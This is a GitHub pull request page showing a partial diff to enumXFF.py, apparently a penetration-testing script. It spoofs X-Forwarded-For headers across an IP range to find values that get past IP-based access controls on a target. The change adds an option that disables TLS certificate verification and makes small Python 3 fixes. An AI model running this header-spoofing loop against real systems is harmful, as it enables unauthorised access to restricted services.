Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add no-verify-ssl support #3

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 7 additions & 3 deletions enumXFF.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -13,10 +13,14 @@
parser.add_argument("-r", "--range",
help="IP range i.e. 0.0.0.0-255.255.255.255", required=True)
parser.add_argument("-w", "--workers",
help="Worker/thread count - default is 100", default=100)
help="Worker/thread count - default is 100", default=100, type=int)
parser.add_argument("-o", "--output",
help="If an IP address returns a higher content length, save IP address to file",
default="working_ips.txt")
parser.add_argument("--no-verify-ssl",
help="Ignore any and all SSL errors. Use at your own risk... Obviously.",
default=False, dest='no_verify_ssl',action='store_true')

args = parser.parse_args()

session = FuturesSession(executor=ThreadPoolExecutor(max_workers=args.workers))
Expand All @@ -32,10 +36,10 @@ def generate_ips(ip_range):
for ip in tqdm(ip_addresses):
ip_list = ("{0}, ".format(ip) * 50)[:-2]
x_forwarded_for_header = {"X-Forwarded-For" : ip_list}
future = session.head(args.target, headers=x_forwarded_for_header)
future = session.head(args.target, headers=x_forwarded_for_header, verify= not args.no_verify_ssl)
response = future.result()
if response.headers['content-length'] > args.badcl:
ip_save_file = open(args.output, "a")
ip_save_file.write(args.target + ": " + str(x_forwarded_for_header) + "\n")
print "\nAccess granted with {0}".format(ip)
print("\nAccess granted with {0}".format(ip))
break